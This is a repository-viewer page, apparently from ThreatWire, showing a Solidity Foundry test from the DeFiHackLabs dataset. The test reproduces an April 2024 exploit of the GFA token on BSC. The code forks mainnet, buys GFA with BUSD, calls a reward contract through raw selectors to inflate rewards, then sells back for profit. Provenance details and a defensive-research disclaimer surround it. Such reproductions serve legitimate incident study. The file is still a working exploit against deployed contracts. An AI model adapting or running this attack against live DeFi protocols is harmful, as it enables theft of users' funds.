Public reproduction file
src/test/2024-04/GFA_exp.sol
Public reproduction file for dataset entry GFA.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// TX : https://app.blocksec.com/explorer/tx/bsc/0xe15d6f7fa891c2626819209edf2d5ded6948310eaada067b400062aa022ce7188// GUY : https://x.com/ChainAegis/status/17798099319628270559// Profit : ~14K USD11contract Exploit is Test {12 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);13 IPancakePair Pair = IPancakePair(0x875AC38Bc56E2c6FBEDa4354Ac085CB94d0D2D2F);14 IPancakeRouter Router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));15 IERC20 BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);16 IERC20 GFA = IERC20(0x278ce7151Bfd1b035e8Bc99e15b4d9773969D4eD);17 address Reward = 0xbCbCb0e7E28414e084c4a40C1cCC30B75629a7DE;19 function setUp() public {20 cheats.createSelectFork("bsc", 37_857_763);21 deal(address(BUSD), address(this), 30 * 1e18);22 }24 function testExploit() public {25 emit log_named_decimal_uint(26 "attacker balance BUSD before attack:", BUSD.balanceOf(address(this)), BUSD.decimals()27 );28 attack();29 emit log_named_decimal_uint(30 "attacker balance BUSD after attack:", BUSD.balanceOf(address(this)), BUSD.decimals()31 );32 }34 function attack() public {35 BUSD.approve(address(Pair), type(uint256).max);36 BUSD.approve(address(Router), type(uint256).max);37 swap_token_to_token(address(BUSD), address(GFA), 30 ether);38 Reward.call(39 abi.encodeWithSelector(bytes4(0x5f7938f1), address(this), 400_000_000 * 1e18, 40_000_000 * 1e18, 12_222)40 );41 Reward.call(abi.encodeWithSelector(bytes4(0x3890ec92), 100));42 GFA.transfer(address(GFA), 10_000);43 swap_token_to_token(address(GFA), address(BUSD), GFA.balanceOf(address(this)));44 }46 function swap_token_to_token(address a, address b, uint256 amount) internal {47 IERC20(a).approve(address(Router), amount);48 address[] memory path = new address[](2);49 path[0] = address(a);50 path[1] = address(b);51 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);52 }54 function getreserves(55 uint256 stepNum56 ) public {57 console.log("Step %i", stepNum);58 (uint256 reserveIn, uint256 reserveOut,) = Pair.getReserves();59 emit log_named_decimal_uint("ReserveIn", reserveIn, 18);60 emit log_named_decimal_uint("ReserveOut", reserveOut, 18);61 }62}Analysis
Dataset entry
Public Foundry test for “GFA” (2024-04-15). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2024-04/ATM_exp.solSame month in the dataset · 87 lines
- src/test/2024-04/BigBangSwap_exp.solSame month in the dataset · 118 lines
- src/test/2024-04/BNBX_exp.solSame month in the dataset · 70 lines
- src/test/2024-04/ChaingeFinance_exp.solSame month in the dataset · 145 lines
- src/test/2024-04/FIL314_exp.solSame month in the dataset · 55 lines
- src/test/2024-04/GROKD_exp.solSame month in the dataset · 172 lines
- src/test/2024-04/Hackathon_exp.solSame month in the dataset · 63 lines
- src/test/2024-04/HedgeyFinance_exp.solSame month in the dataset · 149 lines
- src/test/2024-04/HoppyFrogERC_exp.solSame month in the dataset · 57 lines
- src/test/2024-04/MARS_exp.solSame month in the dataset · 101 lines
- src/test/2024-04/NGFS_exp.solSame month in the dataset · 91 lines
- src/test/2024-04/OpenLeverage2_exp.solSame month in the dataset · 239 lines
- src/test/2024-04/PikeFinance_exp.solSame month in the dataset · 70 lines
- src/test/2024-04/Rico_exp.solSame month in the dataset · 119 lines
- src/test/2024-04/SATX_exp.solSame month in the dataset · 82 lines
- src/test/2024-04/SQUID_exp.solSame month in the dataset · 86 lines
- src/test/2024-04/SumerMoney_exp.solSame month in the dataset · 144 lines
- src/test/2024-04/UnverifiedContr_0x00C409_exp.solSame month in the dataset · 96 lines
- src/test/2024-04/UPS_exp.solSame month in the dataset · 75 lines
- src/test/2024-04/WSM_exp.solSame month in the dataset · 84 lines
- src/test/2024-04/XBridge_exp.solSame month in the dataset · 55 lines
- src/test/2024-04/YIEDL_exp.solSame month in the dataset · 97 lines
- src/test/2024-04/Yield_exp.solSame month in the dataset · 94 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
File record
- Name
- GFA
- Path
- src/test/2024-04/GFA_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 04bcbfb3831e178632d7776ef29514726d9a20b3
- Language
- Solidity
- Size
- 63 lines
- Date
- 2024-04-15
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2024-04/GFA_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 04bcbfb3831e178632d7776ef29514726d9a20b3, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.